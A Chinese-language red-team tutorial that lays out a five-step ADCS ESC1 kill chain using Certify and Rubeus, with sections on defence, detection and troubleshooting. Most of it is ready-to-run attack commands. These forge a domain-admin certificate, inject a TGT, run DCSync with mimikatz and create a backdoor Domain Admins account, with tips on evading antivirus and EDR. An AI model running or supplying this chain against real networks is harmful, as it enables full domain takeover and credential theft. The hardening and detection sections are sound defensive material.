1. 项目概述从枯燥理论到实战利器如果你是一名渗透测试人员或红队成员肯定对Active Directory证书服务ADCS这个“宝藏”不陌生。ADCS在企业内网中广泛部署用于签发和管理数字证书是PKI体系的核心。但正是这个看似安全的服务近年来曝出了一系列被称为“ADCS攻击”的严重漏洞其中ESC1ESC是“易受攻击的证书模板”的缩写因其利用门槛相对较低、危害巨大而备受关注。传统的学习路径往往让人陷入复杂的PKI理论、证书签名请求CSR格式和微软文档的海洋枯燥且难以落地。今天我们不谈那些让人昏昏欲睡的理论。我将带你直接上手两个顶级的实战工具——GhostPack套件中的Certify和Rubeus用最清晰的五步流程完成从发现ADCS环境到最终利用ESC1漏洞获取域管理员权限的全过程。这个流程是我在多次内部红队演练和授权测试中反复打磨出来的核心就是“快、准、狠”让你绕过理论学习曲线直接掌握可复现的杀伤链。GhostPack工具链的优雅和高效会让你彻底爱上ADCS安全研究。2. 核心攻击链与工具选型解析在深入步骤之前我们必须先理解我们要攻击的是什么以及为什么选择Certify和Rubeus这对“黄金搭档”。这关乎整个行动的底层逻辑。2.1 ADCS ESC1漏洞本质不当的证书模板配置ADCS漏洞的核心大多围绕“证书模板”的配置错误。证书模板定义了谁能申请证书、证书的用途如客户端认证、服务器认证、以及关键的“扩展”属性。ESC1漏洞的成立需要同时满足以下几个条件我们可以把它想象成一把锁的几道机关模板启用客户端认证证书模板必须允许“客户端认证”Client Authentication这个增强型密钥用法EKU。这是证书能用于身份认证的“资格证”。模板允许低权限用户注册模板的权限设置ACL允许普通域用户或我们已攻陷的用户来申请该模板的证书。如果只有管理员能申请那攻击就无法开始。模板配置了“使用者备用名称”SAN这是ESC1的关键。模板必须配置了SAN并且SAN可以从请求中由用户自行提供。SAN是证书中一个可以包含多种身份信息的字段比如UPN用户主体名称如admindomain.com、DNS名等。SAN中的UPN可以被任意指定攻击者可以在申请证书时在SAN字段中填入任意域用户的UPN例如域管理员的UPN。管理器批准被禁用证书模板的“颁发要求”中“需要管理器批准”这一项必须为“否”。如果启用则需要管理员手动审批证书申请会阻断我们的自动化攻击。当这些条件齐备时攻击者就可以用一个普通域账户申请一个模板为ESC1的证书并在申请时指定SAN为域管理员的UPN。ADCS CA证书颁发机构会“老实”地根据模板规则签发这张证书。由于证书包含了域管理员的UPN并可用于客户端认证攻击者便可以用这张证书向域控制器DC证明自己是域管理员从而获取高权限票据TGT最终接管整个域。2.2 为什么是Certify和Rubeus市面上针对ADCS的工具不少如Certipy、PetitPotam用于触发NTLM中继到ADCS等。但GhostPack的Certify和Rubeus组合在ESC1利用链上具有独特优势Certify 专注于信息收集与漏洞发现C#原生作为GhostPack套件的一部分Certify用C#编写在Windows环境下运行无需额外依赖兼容性好。查询精度高它能通过LDAP精确枚举域内所有证书模板及其详细配置属性直接告诉你哪些模板可能存在问题如ESC1, ESC2, ESC3等并列出满足条件的模板名称。这比手动翻看ADSI编辑器或运行复杂PowerShell命令要高效直观得多。自动化申请它不仅用于发现还能直接构造并提交恶意证书申请对于ESC1生成包含我们指定SAN如域管理员UPN的证书文件.pem或.pfx格式。一站式完成“发现”到“武器化”的过程。Rubeus 专注于Kerberos票据操作票据专家Rubeus是Kerberos攻击的瑞士军刀。在ADCS攻击中我们最终获得的是一张证书.pfx文件密码。如何将这张证书转化为可用的权限这就需要Rubeus。ASKtgt功能Rubeus的asktgt命令可以直接使用用户凭据密码、哈希、AES密钥或证书来向KDC域控制器请求TGT票据。当我们拥有一个代表域管理员的证书时正是通过asktgt /user: /certificate: /password:参数用证书申请到一张域管理员的TGT。票据传递与注入获得TGT后Rubeus可以方便地将其注入到当前会话ptt或者导出用于横向移动从而瞬间将我们的权限提升至域管理员。这个组合分工明确Certify负责“找到钥匙并复制它”Rubeus负责“用这把复制的钥匙打开门并登堂入室”。整个流程无缝衔接是实战中最流畅的选择。注意所有测试必须在获得明确授权的环境中进行。未经授权对任何系统进行渗透测试是违法行为。3. 五步实战流程详解假设我们已经通过某种方式如钓鱼、漏洞利用获得了一个普通域用户JOHNCORP.LOCAL的凭据密码或NTLM哈希并且已经身处企业内网能够与域控制器DC和ADCS服务器通信。3.1 第一步环境侦察与工具准备在开始攻击前我们需要确认两件事ADCS服务是否存在以及工具是否就位。1. 确认ADCS存在通常我们可以通过扫描网络端口或查询域信息来发现ADCS服务器。ADCS CA服务器通常会在LDAP389/636和特定的RPC端口上提供服务。一个快速的方法是使用nltest命令Windows自带或PowerShell# 查询域控制器ADCS常与DC共存或独立部署通过主机名有时可判断 nltest /dclist:CORP # 或者更直接地尝试发现CA名称需要已有域会话 certutil -config - -ping但最可靠的方式是直接运行Certify进行发现。2. 准备Certify和Rubeus从GhostPack的GitHub仓库下载编译好的Release版本Certify.exe和Rubeus.exe。将其上传到已控的跳板机Windows系统上。确保该主机能解析域域名并访问域控制器。实操心得在真实环境中防病毒软件可能会查杀这些工具。你需要对其进行混淆、编译或使用类似Cobalt Strike、Covenant等C2框架的“execute-assembly”功能在内存中加载它们以避免落地查杀。确保你的当前会话或使用的凭据是域用户JOHN。可以在命令行中执行whoami /all和set user来确认。3.2 第二步枚举漏洞证书模板Certify这是最关键的信息收集步骤。我们将使用Certify来找出配置不当的、可利用的证书模板。在命令行中切换到Certify所在目录执行以下命令Certify.exe find /vulnerable这个/vulnerable参数是Certify的精华所在。它不会一股脑儿输出所有模板而是只筛选出那些符合已知危险配置包括ESC1, ESC2, ESC3, ESC4, ESC8等的模板。这极大地提高了效率。命令输出解读执行后Certify会返回一个清晰的列表。对于ESC1漏洞你会看到类似下面的输出关键部分[*] Template: Vuln-ESC1-Template Schema Version: 2 msPKI-Certificate-Name-Flag: SUBJECT_ALT_REQUIRE_UPN mspki-enrollment-flag: ENROLLEE_SUPPLIES_SUBJECT Authorized Signatures: 0 Permissions: Enrollment Permissions CORP\\Domain Users -- Enroll ... [*] **ESC1** Vulnerable Template Found! Conditions: - Client Authentication EKU present - Enrollee Supplies Subject in mspki-enrollment-flag - SUBJECT_ALT_REQUIRE_UPN in msPKI-Certificate-Name-Flag - No manager approval required (CA_PEND_CERT_RATE) - Low-privileged group (CORP\\Domain Users) has Enroll permission这段输出明确告诉我们找到了一个名为Vuln-ESC1-Template的模板。它被标记为ESC1漏洞模板。列出了所有满足ESC1的条件一目了然。最重要的是它显示CORP\\Domain Users有注册Enroll权限这意味着我们的用户JOHN可以申请这个模板的证书。注意事项如果命令没有返回任何结果可能意味着目标域内没有配置易受攻击的模板或者你的当前用户权限不足以查询某些属性。可以尝试不加/vulnerable参数使用Certify.exe find来枚举所有模板然后人工根据ESC1条件进行判断但这工作量会大很多。记下这个漏洞模板的名称Vuln-ESC1-Template我们下一步需要它。3.3 第三步伪造恶意证书申请Certify既然找到了漏洞模板我们现在就要利用它来伪造一张代表域管理员的证书。假设域管理员账户是CORP\Administrator。执行以下命令Certify.exe request /ca:dc01.corp.local\CORP-DC01-CA /template:Vuln-ESC1-Template /altname:Administratorcorp.local参数解析/ca: 这是证书颁发机构CA的地址。格式通常是CA服务器主机名\CA名称。CA名称可以在第一步的certutil -config - -ping输出中找到或者在Certify枚举结果的顶部信息里。这里假设CA服务器是dc01.corp.localCA名称是CORP-DC01-CA。/template: 指定我们刚刚发现的漏洞模板名称Vuln-ESC1-Template。/altname: 这是利用ESC1的灵魂参数。我们在这里指定Administratorcorp.local即域管理员的用户主体名称UPN。Certify会将其填入证书请求的SAN扩展中。命令执行过程与结果Certify会与指定的CA通信提交证书申请。由于模板配置错误允许用户提供SAN、无需审批CA会直接签发证书。命令成功执行后你会在输出中看到两个非常重要的东西Base64编码的证书一大段以-----BEGIN CERTIFICATE-----开头-----END CERTIFICATE-----结尾的文本。这是颁发的证书本身。私钥通常也会以Base64格式输出。在某些参数下Certify可能会直接生成包含私钥的.pfx文件。实操心得你需要将证书和私钥保存到文件中。最方便的方式是让Certify直接生成PFX文件。有些Certify分支版本或编译版本支持/outfile:参数。如果支持命令可以写成Certify.exe request /ca:dc01.corp.local\CORP-DC01-CA /template:Vuln-ESC1-Template /altname:Administratorcorp.local /outfile:admin.pfx这会生成一个受密码保护的admin.pfx文件。默认密码通常是Certify或空具体看工具说明。如果不支持直接输出文件你需要手动复制终端里的Base64证书和私钥文本分别保存为cert.pem和key.pem然后使用openssl命令将其合并为PFXopenssl pkcs12 -in cert.pem -inkey key.pem -export -out admin.pfx执行时会要求你设置一个导出密码记住这个密码Rubeus会用到。关键点最终你必须获得一个有效的.pfx文件例如admin.pfx及其密码。这是你通往域管理员权限的“门票”。3.4 第四步使用证书请求Kerberos票据Rubeus现在我们手里有了一张“管理员证书”admin.pfx。接下来要用Rubeus将这张证书“兑换”成真正的Kerberos黄金门票TGT。在同一个目录下或确保Rubeus.exe在路径中执行以下命令Rubeus.exe asktgt /user:Administrator /domain:corp.local /dc:dc01.corp.local /certificate:admin.pfx /password:Certify /ptt参数解析/user:Administrator: 指定我们想要冒充的用户即证书SAN中指定的域管理员。/domain:corp.local: 目标域名。/dc:dc01.corp.local: 指定域控制器KDC的地址确保网络可达。/certificate:admin.pfx: 指定我们上一步生成的PFX证书文件路径。/password:Certify: 指定PFX文件的密码。如果生成时密码是空的则使用/password:。/ptt: “Pass The Ticket”的缩写。这是最关键的一个参数。它指示Rubeus在成功请求到TGT后自动将其注入到当前Windows会话的内存中。这样你后续的所有操作如访问共享、执行WMI命令等都将以域管理员Administrator的身份进行。命令执行与结果如果一切顺利Rubeus会输出如下成功信息[*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CNAdministrator ... [*] Building AS-REQ (w/ PKINIT preauth) for: corp.local\Administrator [] TGT request successful! [*] base64(ticket.kirbi): doIFQjCCBT6gAwIBBaEDAgELo... [] Ticket successfully imported!看到[] Ticket successfully imported!就大功告成了。Rubeus已经将域管理员Administrator的TGT票据注入到了你当前进程的内存中。验证权限立即打开一个新的命令行窗口因为票据注入到了当前进程新进程会继承尝试执行一个需要域管理员权限的操作# 列出域控制器上的C盘根目录 dir \\dc01.corp.local\c$如果成功列出目录恭喜你你已经拥有了域管理员的网络访问权限。3.5 第五步权限利用与后渗透获得域管理员TGT后攻击就进入了最“自由”的阶段。你可以做很多事情这里列举几个经典操作1. DCSync攻击获取所有用户哈希这是域渗透的终极目标之一。使用mimikatz或secretsdump.py(Impacket) 来执行DCSync。由于当前内存中已有域管理员票据操作会直接成功。# 使用mimikatz需提前上传 mimikatz # lsadump::dcsync /domain:corp.local /all /csv这将导出域内所有用户的NTLM哈希包括域管理员。有了这些哈希你就可以进行“哈希传递”Pass-the-Hash攻击永久性地控制整个域。2. 创建后门账户直接使用net命令或PowerShell在域中创建一个新的管理员用户。net user backdooruser Pssw0rd! /add /domain net group Domain Admins backdooruser /add /domain3. 黄金票据/白银票据制作持久化虽然我们已经有TGT但TGT有有效期通常10小时。为了持久化我们可以用DCSync获取的krbtgt账户哈希来制作黄金票据Golden Ticket或者用特定服务账户的哈希制作白银票据Silver Ticket。这可以使用mimikatz或Rubeus的golden/silver功能完成。4. 横向移动与信息收集以域管理员身份你可以无限制地访问域内任何主机。使用PowerView、BloodHound收集器进行更全面的信息收集或者使用WMI、PsExec、SMB等方式横向移动到其他关键服务器如文件服务器、数据库服务器、邮件服务器。注意事项与清理操作审计你的所有行为如创建用户、DCSync都会在域控制器的安全事件日志Event ID 4720, 4662等中留下记录。专业的蓝队可以通过这些日志发现入侵。票据清理测试结束后记得清理内存中的票据。可以注销当前会话或者使用klist purge命令如果可用来清除缓存的Kerberos票据。工具清理删除上传的攻击工具和生成的证书文件。4. 深度防御与检测建议作为攻击方我们了解了利用方法作为防御方更需要知道如何防护和检测。ADCS的安全是一个配置管理问题。4.1 防御措施加固证书模板根治ESC1漏洞的方法就是修改有问题的证书模板配置。在ADCS管理控制台certsrv.msc中找到对应的证书模板属性进行修改移除危险配置治本取消“客户端认证”EKU如果该模板并非用于用户身份认证如仅用于电子邮件加密则移除“客户端认证”这个增强型密钥用法。这是最根本的。禁用“在请求中提供”主题信息在“使用者名称”选项卡选择“在请求中提供”是高风险配置。应改为“用Active Directory中的信息生成”或“在证书中不提供”。这可以防止攻击者随意指定SAN。启用“需要管理器批准”在“颁发要求”选项卡勾选“需要管理器批准”。这会为所有证书申请增加一道人工审批屏障虽然影响效率但安全性大增。收紧注册权限在“安全”选项卡严格审查并限制拥有“注册”权限的用户和组。确保只有真正需要的服务账户或用户组才有权申请。实施最小权限原则定期审计所有证书模板的配置和权限遵循“业务必需”原则。为不同的应用场景创建专用的、配置严格的模板避免使用“万能”模板。4.2 检测措施监控异常证书活动即使配置加固持续的监控也必不可少。安全团队应关注以下日志Windows安全事件日志CA服务器和DC事件ID 4886/4887证书服务请求。这是最直接的日志。需要关注同一用户短时间内申请大量证书。普通用户申请了高权限模板如域控制器认证模板的证书。证书请求中的“使用者备用名称”SAN字段包含了与请求账户明显不符的高权限账户名如来自johncorp.local的请求SAN却是administratorcorp.local。这是检测ESC1攻击的银弹。可以通过SIEM编写关联规则对这类异常进行告警。事件ID 4768/4769Kerberos身份验证服务AS/TGS票据请求。关注使用“PKINIT”预身份验证这表示使用了证书认证的请求特别是请求用户为高权限账户但请求来源IP却是普通员工终端的情况。网络流量分析监控CA服务器通常TCP 135, 445, 636等端口的异常连接特别是来自非管理网段的连接。分析Kerberos流量识别异常的PKINIT请求。终端与EDR检测部署的终端检测与响应EDR工具应能检测到Certify.exe、Rubeus.exe等已知攻击工具的内存加载或执行行为。监控进程行为如一个非特权用户进程突然访问CA相关的注册表键或系统文件。5. 常见问题与排查技巧实录在实际操作中你可能会遇到各种问题。以下是我在多次测试中积累的常见问题排查清单问题现象可能原因排查步骤与解决方案Certify.exe find 无输出或报错1. 当前用户非域用户或网络不通。2. 工具被AV拦截。3. 域内确实无漏洞模板。1. 执行whoami和net config workstation确认域身份和域连接。用ping dc01.corp.local测试连通性。2. 尝试对工具进行免杀处理或在内存中加载如用Cobalt Strike。3. 尝试Certify.exe find不加/vulnerable查看所有模板人工分析。Certify.exe request 失败提示“访问被拒绝”或“找不到模板”1./ca参数格式错误或CA不可达。2. 模板名称拼写错误。3. 当前用户对该模板无“注册”权限。1. 使用certutil -config - -ping确认准确的CA字符串。用nslookup确认CA主机名解析正确。2. 仔细核对第一步中枚举出的模板名称注意大小写和空格。3. 使用Certify.exe find查看该模板的详细权限列表确认你的用户是否在“Enrollment Permissions”中。Certify.exe request 成功但未输出证书/私钥1. 命令行输出被截断尤其在远程Shell中。2. 工具版本问题。1. 将输出重定向到文件Certify.exe request ... output.txt。然后从文件中提取BASE64块。2. 尝试使用支持/outfile:参数的Certify版本。Rubeus asktgt 失败提示“KDC_ERR_PREAUTH_FAILED”1. PFX文件损坏或密码错误。2. 证书已过期或无效。3. 指定的/user或/domain与证书中的SAN信息不匹配。4. 目标DC/dc不可达或不是该域的KDC。1. 用openssl pkcs12 -info -in admin.pfx检查PFX文件完整性并确认密码。2. 检查证书有效期openssl x509 -in cert.pem -text -nooutRubeus asktgt 成功但 /ptt 后权限未提升1. 票据注入成功但当前进程令牌未更新。2. 访问的资源如\\dc01\c$需要额外的权限如SeBackupPrivilege。1. 票据注入只影响当前进程及由其创建的子进程。确保你在执行Rubeus的同一个命令行窗口里运行后续命令或者使用Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe创建一个带有注入票据的新进程。2. 尝试访问其他共享如\\dc01\admin$或使用schtasks创建计划任务来执行命令。操作被AV/EDR拦截工具行为或命令行参数触发了安全规则。1. 使用更新或自定义编译的工具版本。2. 分离加载在内存中运行Certify如用execute-assembly将生成的证书文件传输到另一台受控主机再用Rubeus处理。3. 尝试使用替代工具链如CertipyPython编写可尝试PyInstaller打包免杀。最后的个人体会ADCS攻击之所以危险是因为它利用了企业基础设施中一个长期被忽视的“信任”环节——PKI。防御的重点不在于追逐每一个漏洞利用工具而在于建立起严格的证书生命周期管理和模板配置审计流程。对于红队而言掌握这条利用链意味着在内网渗透中又多了一把打开“后门”的钥匙尤其是在那些自以为打了所有系统补丁就高枕无忧的环境中往往能出其不意。每次测试前务必反复核对命令参数特别是CA地址和模板名一个字符的错误都可能导致前功尽弃。